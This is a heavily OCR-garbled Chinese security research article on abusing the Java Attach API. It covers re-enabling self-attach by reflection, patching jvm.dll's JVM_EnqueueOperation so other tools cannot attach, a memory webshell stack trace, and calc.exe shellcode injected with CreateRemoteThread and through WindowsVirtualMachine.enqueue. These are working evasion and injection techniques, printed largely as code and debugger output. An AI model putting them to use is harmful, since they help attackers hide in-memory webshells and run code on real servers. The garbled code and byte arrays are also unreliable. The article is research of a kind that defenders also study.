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allowAttachSelf 45

Java B89 instrument 2 Java REXEHEBI—MH, instrument @13 attach 5%
BETHE WM BTNEISEE . B Java £RIIHEE, tEUIEIT instrument EHSEN
NFS, BETE Java9d KAERRAF, BRIANIF SelfAttach:

Attach API cannot be used to attach to the current VM by default

The implementation of Attach API has changed in JDK 9 to disallow attaching to the
current VM by default. This change should have no impact on tools that use the
Attach API to attach to a running VM. It may impact libraries that misuse this API
as a way to get at the java.lang.instrument API. The system property
jdk.attach.allowAttachSelf may be set on the command 1line to mitigate any
compatibility with this change.

20, REURME T — jdkattach.allowAttachSelf #9 VM S5, X DS HERAR
false, B/WTE Java B8 E AR,

BE—" demo =11 attach B PID, #27~ Can not attach to current VM, a0 :

C:\Users\rebey\IdeaProjects\TestDemo\out\artifacts\TestDemo_jar3>"C:\Program Files\Java\jdk-9.8.4\bin\java.exe" -jar TestDemo.jar
; ttachiiPID:

WAMPIDA: 28196

current PID:28196

java.io.I0Exception: Can not attach to current WM
at jdk.attach/sun.tools.attach.HotSpotVirtualMachine. <init>(HotSpotVirtualMachine. java:75)
i 4 h' O o I 3 3 1ne 0 cinits Vi 3 ina 0 jaua- AR
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at jdk.attach/sun.tools.attach.AttachProviderImpl. attachVirtualMachine{AttachProviderImpl. java:63)
at jdk.attach/com.sun.toels.attach.VirtualMachine. attach(VirtualMachine. java:287)

at Test.main(Test.java:68)

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201056—-2d31e4e4
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HotSpotVirtualMachine VirtualMachine {

HotSpotVirtu
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B FERIL, attach BORHREBIZE— HotSpotVirtualMachine R ZE, X MEIEY)
BRI RSEIREN VM MBS, HIEXTNSEHIRIFE HotSpotVirtualMachine

B ALLOW_ATTACH_SELF EBMH, BIFXTNERMETESREN, MU bhEd
REEIMEROX N EMERE, ST POC:

Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine");
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Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");
field.setAccessible(true);

Field modifiersField=Field.class.getDeclaredField("modifiers");
modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);
field.setBoolean(null,true);

T ALLOW_ATTACH_SELF FEH final B1H7F, FTAEEEL
ALLOW_ATTACH_SELF BHER, HEEIEEM final BINFHEIR (BUROIHE,
SBEETRD, ARIRELMR, PIMRE) . Bi/E, PJRAT) attach 2IE 53
2, WHE:

C:\Users\rebey\IdeaProjects\TestDemo\out\artifacts\TestDemo_jar3>"C:\Program Files\Java\jdk-9.8.4\bin\java.exe" -jar TestDemo.jar
cls:class sun.tools.attach.HotSpotVirtualMachine, count:9

Filed: CURRENT_PID

Filed: ALLOW_ATTACH_SELF

filed: INI_ENOMEM

Filed: ATTACH_ERROR_BADJAR

Filed: ATTACH_ERROR_NOTONCP

Filed: ATTACH_ERROR_STARTFAIL

Filed: MANAGEMENT_PREFIX

filed: defaultAttachTimeout

filed: attachTimeout

MWARNING: An illegal reflective access operation has occurred

WARNING: Illegal reflective access by Test (file:/C:/Users/rebey/IdeaProjects/TestDemo/out/artifacts/TestDemo jar3/TestDemo.jar) to field sun.tools.attach.HotSpotVirtualMachi
ne.ALLOW_ATTACH_SELF

MWARNING: Please consider reporting this to the maintainers of Test

WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

value:null

4 rttachif|PID:

1e988

4i AHIPIDY: 1e988

current PID:18988

Class changed!

sun.tools.attach.AttachProviderImplE27c2@538: 18988

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201057-2dc4cd2c—
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C:\Users\rebey\IdeaProjects\TestDemo\out\artifacts\TestDemo_jar3>"C:\Program Files\Java\jdk-11.8.11\bin\java.exe" -jar TestDemo.jar
cls:class sun.tools.attach.HotSpotVirtualMachine, count:9
filed:CURRENT_PID

Filed:ALLOW_ATTACH_SELF

Filed: INI_ENOMEM

Filed:ATTACH_ERROR_BADJAR

Filed:ATTACH_ERROR_NOTONCP

Filed:ATTACH_ERROR_STARTFAIL

Filed:MANAGEMENT_PREFIX

filed:defaultAttachTimeout

filed: attachTimeout

WARNING: An illegal reflective access operation has occurred

WARNING: Illegal reflective access by Test (file:/C:/Users/rebey/IdeaProjects/TestDemo/out/artifacts/TestDemo_jar3/TestDemo.jar) to field sun.tools.attach.HotSpotVirtualMachi
ne.ALLOW_ATTACH_SELF

WARNING: Please consider reporting this to the maintainers of Test

WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations

WARNING: All illegal access operations will be denied in a future release

Class changed
sun.tools.attach.AttachProviderImpl@6oead742: 27e24

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201057-2e0eb40a—
ff54-1.png)
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PEFFE N enqueue Sk

IDException

JNIEXPORT void INICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue

-

jstring pipename, jobjectArray args)

DataBlock data;
DataBlock® pData;

DWORD* pCode;

DWORD stublen;

HANDLE hProcess, hThread;
jint argsLen, 1i;

jbyte* stubCode;

jboolean isCopy;

/*

* Setup data to copy to target process
*/

data. GetModuleHandle = GetModuleHandle;
data._GetProcAddress = _GetProcAddress;

strepy(data. jvmLib, "jvm");
strcpy(data.funcl, "JIVM EnqueueOperation™);
strepy(data.func2, "_JvM_EnqueueOperation@ze”);

/*

* Command and arguments

*f/

jstring to cstring(env, cmd, data.cmd, MAX CMD LENGTH);
argslLen = (*env)->GetArraylLength(env, args);

if (argsLen > @) {
if (argsLen > MAX_ARGS) {

JNU_ThrowInternalError(env, "Too many arguments");

(INIEnv ®env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
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P IAEZ enqueue FETEE T — DataBlock W&, BEEA/L DX ESH

strcpy(data. jvmLib, "jvm");
strcpy(data. funcl, "JVM_EnqueueOperation™);
strcpy(data. func2, "_JVM_EnqueueOperation@20™);

I _ERRIEES R ZEFE Client (U], = TRFA1FER] Server I, TEARN0 AT

HINSTANCE h;

EnqueueOperationFunc addr;

h = pData->_GetModuleHandle(pData->jvmLib);
if (h == nuLL) {
rn ERR_OPEN_JIVM_FAIL;

1
S

addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->funcl));
if (addr == NULL) {
addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->func2));
}
if (addr == nuLL) {

rn ERR_GET_ENQUEUE_FUNC_FATL;

if (pData->cmd[@] == "\0") {

(*addr) (pData->cmd, pData->arg[@], pData->arg[1], pData->arg[2], pData->pipename);

-

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201100-2f932b80—
ff54-1.png)

XERASEIE Client RO REITHEE, AEETEEMNIES. 285 Windows
shellcode IANIZEEZIM MFRIPER API: GetModuleHandle
GetProcAddress, XZ=IGENM DLL RS HERENER AP, XEMNRIEMEZRITEM
jvm.dil B EARFRA JVM_EnqueueOperation A1_JVM_EnqueueOperation@20
M DS HRE, XM P REFE L SORIZEAR AttachOperation X RN FATIHY
PATEREN,

X EBFBARNIZAEE N RZEAM T, BBHiE inlineHook, FefIREHE jvm.dll
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FRENX NS H R EZE NOP 12, At A] BARINIE instrument AYRAE

BSONERT, & MRS Server I,

% java.exe - PID: 10264 - &5 jvm.dil - £6£2: 10384 - x64dbg

£

2 ™MuE:

Sl RSN

xHE  HEV  BRO  BEN  #Fe  EExEO  ERO  BHE®  Juw 14202 tanEngine
CALLA RS AI AL Fa-E2 S RI0N I
JERE e KA mmpaEaR () ARSR emcEE o ME @ EFS OBERB L 3E waE &KaF ¢ Bx
78897424 20 Tov_aword ptr s5:[rep 207, rsT
0000000074580C75 57 push rd rdi:"MZ2"
0000000074580C76 e pushigls RAX O00OOLEBAZODOCTO AW \\pipe\\javatool732901593"
0000000074580C78 41:5 push r15 RBx  000001E8A2900! AWARAY
000000007458DC7A 48:83eC 2 sub rsp, A& 00001EsA20D0000 oad”
0000000074580C7E 0FB605 58005400 movzx eax byte ptr ds: [74B0ACE0] EOX 000001E8A000070 nstrument”
0000000074580C85 49:88F1 mov rsi, fagent.jar REp . .
000000007458DC88 4D: 8BFO mov rl4,r8 . RSB 4E7ECFFCES &"HIR SOHTEO_{E?
00000074580C8E 48:85FA mov rdi, rdx rdx: "instrunent” O s
000000007458DC8E 4c:88F9 mov rlS,rox ?
0000000074580C91 84c0 test al,al 28 000001£8A2900470
0000000074580C93 | v 75 1 jne jvm.7458DCA9 R0 000001E8A29D087 'd Jagent. ja
0000000074580C95 B8 6400000 mov eax, 64 64:'d R10  00000000743BE110  <jvm. SvM_Enqueucoperation>
0000000074580C9A 48:887424 58 mov rsi aword ptr ss:[Ersp+58) RI1  0000004E/ECFFI60
000000007458DCOF 48:83c4 add rsp,20 RIZ - 0000000000000000
0000000074580CA3 41:5F pop r15
0000000074580CAS 41:5€ pop rld R 0000000
0000000074580CA7 SF pop rdi rdi:"Mz?"
000000007458DCA8 c3 ret 5
0000000074580CA9 48:C7CL FFFEFFFE | mov rox,FFFFFFFFFFFEFFER rex: "oad” RIP A 0
0000000074580CE0 48:88C1 mov rax, rcx rax: N\ \eipe\\javatool7 32001503 RFLAGS _ 0000000000000206
0000000074580C83 48:FFCO dnc rax ax e\\javatoo1732001593" 260 PE1 AF O
0000000074580CB6 41:803C07 00 w0 [ i BT M5 raxtTi N Wpipe\sjavatool 732901593 CHEDEd
0000000074580CEB 7576 jne jvm. 74580C CFO TFO IF 1
0000074560CED 48:895C24 40 mov qword ptr ss:[rsp+40]), rbx

s : . ; S . 00000057 (ERROR_INVALID_PARAMETER)
000000007458DCC2 48:83F8 10 cmp rax, ax: "\\\\. \\pipe\\javatoo1732901593 s tEnnon
Tmaraee| o S Som4smoEas LastStatus C000000D (STATUS_INVALID_PARAMETER)
000000007458DCCC 48:88C1 mov” rax, rox ax: "\\\\. \\pipe\\javat001732901593", rex: “load" Gs 0028 Fs 0053
000000007458DCCF nop ES 0028 DS 0028
000 7456DCD0 48:FFCO inc rax x: "\\\\. \\pipe\\javatoo1732901593" €s 0033 35 0028
0000000074550CD3 80302 00 cmp byte ptr ds: [rdx-rax],0
0000000074580C07 | & e 7555.,(.,0[ ! ST(0) 00000000000000000000 x87r0 Z 0.000000000000000000
0000000074580C09 48:30 00040000 cmp rax, ax: "\\\\. \\pipe\\javat001732901593" T 30000009900000009000 <573 = 0:000000000990000000
0000000074580CDF | v OF87 6010000 ja jvm. nsaosm o]

z . 5 o ey ST(3) 00000000000000000000 x87r3 Z 0000000000000000000
0000000074580CES 8:8C1 mov’ rax, . x: "\\\\. \\pipe\\javatoo1732901593", rex: "load ST(4) 00000000000000000000 x87rd Z 0.000000000000000000
000000007458DCES 0F1F8400 00000000 | nop dword ptr ds: [rax-rax],eax ST(5) 00000000000000000000 XB7+5 Z 0.000000000000000000
0000000074580CF0 8:FECO inc rax ax: "\\\\. \\pipe\\javatoo1732901593" ST(6) 00000000000000000000 x87r6 = 0.000000000000000000
0000000074580CF3 80302 00 cmw byte prr ds: (raxerax], 0 ST(7) 00000000000000000000 x87r7 = 0.000000000000000000
000000007458DCF7 ~ 75 F7 jne jvm.7458I 87 Tagword FFFF

0 7 9 g rax, 4 x: " ipe\\javatool? P REAToNerS

000000007458DCF9 . 48 §u 00040000 cmp ax7, \\\\. \\pipe\\javatoo1732901593 X703 (&) X87TWL 3 (F)
0000074 580CFE 0F87 A6010000 ja_jvm. 74580E; 87TW_2 3 (E) T3 IR

000000007458DD05 48:885c24 60 mov” rbx,qword ptr ss:[frsp+60]| izm-w 43 & X 3 =

000000007458000A 66:0F1F4400 00 nop word ptr ds: [rax+rax] ,ax e 38 o 3 E

0000000074580010 8:FFCL inc rex ox: "Toad" -

9000000074 560013 80308 00 cmp byte ptr ds: [rbx-rex],0 x87statusword 0000

000000007 7 jne jvm.74580010 XB7SWB 0 x87SW.C3 0 x87swC2 0

0000000074550010 48:81F9 00010000 | cmp rex, x:"Toad" XB7SWCL 0 x87SW.CO 0 x87SWES 0O

0000000074560020 | v 087 85010000 ja jum.74580EA8 MISWSE 0 agTah 0 X7y’ 0

74580026 48:8015 48E53600 | Tea rdx,quord ptr ds: (74922787 instrunent”, 0000000074926278: "\\\- \wipen\” x &X
erUUUUU’ASUBDeD HED v mo¥1r:x,r&s :"Toad", rbx: “Hf>H\x7I Tl 0 SR O sy
0000000074580030 €8 171431 el < trstrs xErcontralyord 0272
000000074 58DD35 o cmp. rbx ax: "\\\\. \\pipe\\javatoo1732901593", rbx: "F}>E\x7F" 0 x87CW_ZM 1 x87CW.PM 1
0000000074550038 | v OF85 60010000 jne jum.7458DEAB i § Asroion 1 Xronhe 3 eatsy.
0000000074580D3€ 48:880 43105500 | mov rcx,quord ptr ds: [7480FASS] x:"Toad" - - sEe
000000007458DD45 BA FFFFFFF mov_edx,, FFFFFFFF Bk (x64 fasteall)
0000000074550D4A FF15 D0333100 G uord per ds: [<BaitForsingleobjec T

0000074580050 —m 70 R o
0000000074580052 | v HE G 7455995; rdx_000001£842900070 "instrument
7 g r8 000001£8A2000470 “false”
0000000074560054 88 67000000 oy eax , 6 67:'g 4
0000000074560059 | v €9 52010000 e 3um.74560€80 Trsp28] G000GLE8A29D0C/ 37 FAATA- \\ppe\\javatool? 32001593"
0000000074 58DDSE 48: mov gword ptr ss:[rsp+48], rby 8 e SILENY

00000000745RN0A3

89624 48
4818820 26105500

D
mov rbo.aword otr ds: [74B0FA90 1

0000000074R0FA00+ &0+
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B RIP BRFBENN JVM_EnqueueOperation ERIEAINC, FAIRELL RIP $14T

< HiE

AXE

Lam | war | & 9

GIECABAD C2 1400 ret 19 _JVM_EnqueusOperationbz0
B4ECABAS 803D E0C30965 00 cmp byte ptr ds [e509c380],0
B4ECABAA ~ 75 09 jne jum 4ECABES
B4ECABAC B8 64000000 moy eax, 64:'d’
B4ECABBL 5D pop ebp
B4ECABE2 €2 1400 FEt 14
B4ECABBS 8840 08 mov ecx ,dword ptr ss:Eebp-s}
BAECABES 8051 01 lea edx,dword ptr ds:[ecx+1
G4ECABBE ~ EB 03 jmp  jvm.64ECABCO
B4ECABED 8049 00 ea ecx,.dword ptr ds:[ecx]
B4ECABCO a0l mov al,byte ptr ds:[ecx]
B64ECABCZ 41 inc ecx
G4ECABC] 84c0 test al,al

~ 75 F9 jne Jvm.ﬂzmc\o

2BCA sub ecx,edx

G4ECABCY 83F9 10 cmp ecx,10
GA4ECABCC | v 09 jbe jvm.G4ECABDT
B4ECABCE B8 66000000 mov eax, 66:"'f"
B4ECABD3 pop ebp
G4ECABDS c2 1400 BT 14
G4ECABD7 push ebx
G4ECABDE 8B5D 0C mov ebx ,dword ptr ss:[ebp+C]
64ECABDE CB mov ecx ,ebx
B4ECABDD 8051 01 Tea edx,dword ptr ds:[ecx+1]
G4ECABED 8a0L mov al,byte ptr ds:[ecx]
G4ECABEZ 41 inc ecx
B4ECABE3 84co test al,al
B4ECABES ~ 75 F9 jne jvm.B4ECABED
G4ECABET 2BCA sub ecx ,edx
B4ECABEY 81F9 00040000 omp ecx, > 400
G4ECABEF | ~ 77 16 ]a jvm. G4ECACOT
G4ECABFL 8BCH ecx ,ebx
64ECABF3 D51 01 1ea edx,dword ptr ds:[ecx+1]
G4ECABFE 8A01 mov al,.byte ptr ds:[ecx]
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BAMBR? SAZM INIL, OB

unsigned char buf[J="\xc2\x14\x00"; //32,direct return enqueue function
HINSTANCE hModule = LoadlLibrary(L"jvm.dl1");

//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe™);

LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");

DWORD old;

if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){
WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);

ks

/*unsigned char buf[]="\xc3"; //64,direct return enqueue function

HINSTANCE hModule = LoadLibrary(L"jvm.dl1");

//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");

LPVOID dst=GetProcAddress(hModule,"JVM_EnqueueOperation™);
//printf("ConnectNamedPipe:%p",dst);

DWORD old;

if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){
WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);

P/
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crash,
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rebeyond@ubuntu: ~/Downloads/apache-tomcat-9.0.41/bin

java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke®(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method. java:498)
at com.wyo.jawfst.cgixg.Ubge.doAgentShell(MemShell. java:29@)
at com.wyo. jawfst.cgixg.Ubqge.equals(MemShell. java:48)
at org.apache. jsp.shell_jsp._jspService(shell_jsp.java:123)
at org.apache. jasper.runtime.HttpJspBase.service(HttplspBase.java:71)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
at org.apache. jasper.servlet.JspServletWrapper.service(JspServlietWrapper.java:477)
at org.apache. jasper.servlet.JspServlet.servicelspFile(JspServlet. java:385)
at org.apache. jasper.servlet.JspServlet.service(JspServlet. java:329)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:733)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFiltercChain.java:231)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterchain.java:166)
at org.apache.tomcat.websocket rver .WsFilter.doFilter(WsFilter. java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFiltercChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrappervalve. java:202)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve. java:97)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase. java:542)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve. java:143)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
at org.apache.coyote.httpll.HttpllProcessor.service(HttpllProcessor.java:374)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
at org.apache.coyote.AbstractProtocolSConnectionHandler.process(AbstractProtocol.java:888)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint, java:1597)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutorSWorker.run(ThreadPoolExecutor. java:624)
org.apache.tomcat.util.threads.TaskThreadSWrappingRunnable.run(TaskThread.java:61)
java.lang.Thread.run(Thread. java:748)
: com.sun.tools.attach.AttachNotSupportedException: Unable to open socket file: target process not respondi
spot VM not loaded
at sun.tools.attach.LinuxVirtualMachine.<init>(LinuxVirtualMachine.java:82)
at sun.tools.attach.LinuxAttachProvider.attachvirtualMachine(LinuxAttachProvider.java:46)
at com.sun.tools.attach.vVirtualMachine.attach(VvirtualMachine. java:195)
35 more
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//¥64 CALC.EXE
unsigned char pCodel] =

'ExfcﬂxiS\\SS‘\ei-V' W x004 %004 x 504x52"

! \x8bx52" x48"
"\ x8bhx524 \x48'\x0f \xec9”
"\ x484x310, \x024x2c Wxdl”
“yx01hxel\xe2\, \a \x48\x8b } W48
"\ 101 xd0\x8b" x80", ~88\\00 %00\ x00" 48" %83\ x Wx01”

"\ xd0'x50"x8bY x48\x 18" x44 \ x8b\ x40 x 20" x49\x01 " xd0"\ xe3\x56" x48”
T xed\x41 %80\ x34\ 88 x48' %01 \xd6 \x4d\x31 \xe D'\ x48'x31 ke
Tixachxdl\xel\x K\Ud X414 x01xe 1\ %38 xe0\x 75 \xF1\xde\x03\xdc”

\x75Y x4 k01 xd0”

- \xdB\x58" x44 ' xBb"\ x4
248 244\ x8b x40 x 1c\ x49"x0 41\ x8bix04”
\x41Yx58\x41\x58\xbe'xb, X 58%\x41%x59”
cec\ w204 xd 1\ k52 \x 1 xel'x58", \4- x50 x5a\ k48"
AT\ x5d\x48 \xba'\x0 UO x00%x004x00”

"xBdx8d\x01\x014x00\x00"x \x6E"
\ xf0\xb5hxa2\x56\x41 \xba'\x \xff”
\ \da‘\48 283 x 28\x3c\x06'\x T \x0a'\xB0\x Yxhh”

hxﬁahx002x591x4lhx891xda\\ff‘\dS‘MEa w61 xbic”
\xB5\x00";

"xdT\x13\xT
V63 '\ x2e\xB5\xT

LPVOID vv = pCode;|
HANDLE hProcess = GetCurrentProcess();
EEintf(”threadL%d', sizeof (pCode) ) ;

LPVOID pData =
printf(“pData:%p”, pData);

(LPVOID) VirtualAllocEx (hProcess, 0, sizeof (pCode), MEM_COMMIT, PAGE_ENECUTE_READWRITE);

WriteProcessMemory (hProcess, (LPVOID)pData, (LPCVOID)pCode, (SIZE T)sizeof (pCode), NULL);

rintf(“pData:%x”, #*(DWORD *)pData);
HANDLE hThread = CreateRemoteThread (hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE) pData,
phata,
0,
NULL) ;

Sleep(2000) ;
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f* pipe name */

jstring to cstring{env, pipename, data.pipename, MAX_PIPE_MAME_LENGTH);

s
* Allocate memory in target process for data and code stub

* (assumed aligned and matches architecture of target process)
*f

herocess = (HAMDLE Jhandle;

phata = (DataBlock*) virtualallecex({ hProcess, @, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE };
if (pbata == NuLL} {

INU_ThrowIOExcept ionWithLastError{env, "virtvalallocEx failed");

return;
}

WriteProcessMemory( hProcess, (LPVOID)pData, (LPCWOID)&data, (SIZE_T)sizeof(DataBlock), WULL );

stublen = (DWORD)(*env)-»GetarrayLength(env, stub);
stubcode = ("env)->GetBytearrayElements(env, stub, BisCopy);

plode = (PDWORD) VirtualAllocEx{ hProcess, @, stublen, MEM COMMIT, PAGE_EXECUTE_READWRITE };
if (pCode == nuLL) {
INU_ThrowlOExcept ionWithLastErrer{eny, “virtualallocex failed™);
virtualFreeEx(hProcess, pData, @, MEM_RELEASE);
return;
i
WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCWOID)stubCode, (SIZE_T)stublLen, NULL };
if (iscopy) {
(®env)-»ReleaseBytesrrayElements(env, stub, stubCode, INI_ABORT);

,I'l'
* Create thread in target process to execute code
*f
hThread = CreateRemoteThread( hProcess,
HULL ,
o,
(LPTHREAD_START_ROUTINE) pCode,
pData,
2,
HULL )3

if (hThread 0= WuLL) {
if (WaitForsingleobject (hThread, INFINITE) l= WAIT_OBIECT_@) {
I_ThrowlOExceptionkithLasterror{eny, “WaltForsingleobject failed");
} else {
DWORD exitCode;
GetExitCodeThread(hThread, BexitCode);
if (exitCode) {
switch {exitCode) {
case ERR_OPEN_JVM_FAIL :
INU_ThrowIOExcept lon{env,

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201104-31feQba2—-
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import java.lang.reflect.Method;

public class ThreadMain

{

public static void main(String[] args) throws Exception {
System.loadLibrary("attach");
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods())

Oxe4,

0x51,

0xd2,

0x52,

0x72,

0x31,

Ox7c,

0x41,

0x48,

0x01,

0x48,

0x50,

0x49,

0x41,

{

if (m.getName().equals("enqueue"))

{

long hProcess=-1;
//hProcess=getHandleByPid(30244);

byte buf[]

(byte) 0xf0,

(byte) 0x41,

(byte) 0x65,

(byte) 0x18,

(byte) 0x50,

(byte) 0xc9,

(byte) 0x02,

(byte) 0x01,

(byte) Ox8b,

(byte) 0xdo,

(byte) 0x85,

(byte) Ox8b,

(byte) 0x01,

(byte) 0x8b,

{

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

= new byte[]

0xe8,

0x50,

0x48,

0x48,

0x48,

0x48,

0x2c,

Oxcl,

0x52,

0x8b,

0xco,

0x48,

0xdo,

0x34,

(byte) 0xfc,
(byte) 0xc0,
(byte) 0x00,
(byte) 0x52,
(byte) 0x56,
(byte) 0x8b,
(byte) 0x60,
(byte) 0x8b,
(byte) 0x20,
(byte) 0x0of,
(byte) 0x4a,
(byte) 0x31,
(byte) 0xac,
(byte) 0x20,
(byte) 0xcl,
(byte) 0xe2,
(byte) 0x52,
(byte) 0x20,
(byte) 0x42,
(byte) 0x80,
(byte) 0x00,
(byte) 0x74,
(byte) 0x48,
(byte) 0x18,
(byte) 0x8b,
(byte) 0xe3,
(byte) 0x48,
(byte) 0x88,

//pop calc.exe

(byte) 0x48,
(byte) 0x00,
(byte) 0x00,
(byte) 0x51,
(byte) 0x48,
(byte) 0x52,
(byte) 0x48,
(byte) 0x52,
(byte) 0x48,
(byte) 0Oxb7,
(byte) 0x4a,
(byte) 0xc0,
(byte) 0x3c,
(byte) 0x41,
(byte) 0xc9,
(byte) Oxed,
(byte) 0x41,
(byte) 0x8b,
(byte) 0x3c,
(byte) 0x88,
(byte) 0x00,
(byte) 0x67,
(byte) 0x01,
(byte) 0x44,
(byte) 0x40,
(byte) 0x56,
(byte) oxff,
(byte) 0x48,

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

0x83,

0x41,

0x31,

0x8b,

0x8b,

0x4d,

0x61,

oxed,

0x51,

0x48,

0x00,

0xdo,

0x20,

0xc9,

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)



(byte) 0x01, (byte) 0xd6,
0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xcO,
(byte) 0xac, (byte) 0x41,
0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) Oxcl,
(byte) 0x38, (byte) 0xe0,
0xf1l, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45,
0xdl, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40,
0x49, (byte) 0x01, (byte) 0xdd, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c,
0x44, (byte) 0x8b, (byte) 0x40, (byte) 0xlc, (byte) 0x49,
(byte) 0x01, (byte) 0xdo,
0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd@, (byte) 0x41,
0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58,
0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20,
0x52, (byte) oxff, (byte) 0xed, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a,
0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) Oxff,
(byte) oxff, (byte) Oxff,
0x48, (byte) 0Oxba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00,
0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x&d,
(byte) 0x01, (byte) 0x01,
0x00, (byte) 0x41, (byte) Oxba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87,
0xd5, (byte) 0xbb, (byte) 0xf@, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41,
0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) Oxff,
(byte) 0xd5, (byte) 0x48,
0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80,
0xe@, (byte) 0x75, (byte) 0x05, (byte) Oxbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72,
0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) Oxda, (byte) Oxff,
0x63, (byte) 0xo6l, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78,
s

String cmd="1load";String pipeName="test";
m.setAccessible(true);
Object result=m.invoke(cls,new Object[]
{hProcess,buf,cmd,pipeName,new Object[]1{}});
System.out.println("result:"+result);

ks
Thread .s1een(4000 :

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

0x4d,

Oxcl,

0x75,

0x39,

0x24,

0x48,

0x41,

0x58,

0x41,

0x41,

0x48,

0x5d,

0x00,

0x00,

Oxff,

Oxba,

0x83,

oxfb,

Oxo6f,

0xd5,

0x65,

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte)

(byte) 0x00
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ks
public static long getHandleByPid(int pid)

{
Class cls= null;
long hProcess=-1;
try {
cls = Class.forName("sun.tools.attach.WindowsVirtualMachine™);
for (Method m:cls.getDeclaredMethods()) {
if (m.getName().equals("openProcess™))
{
m.setAccessible(true);
Object result=m.invoke(cls,pid);
System.out.println("pid :"+result);
hProcess=Long.parseLong(result.toString());
ks
ks
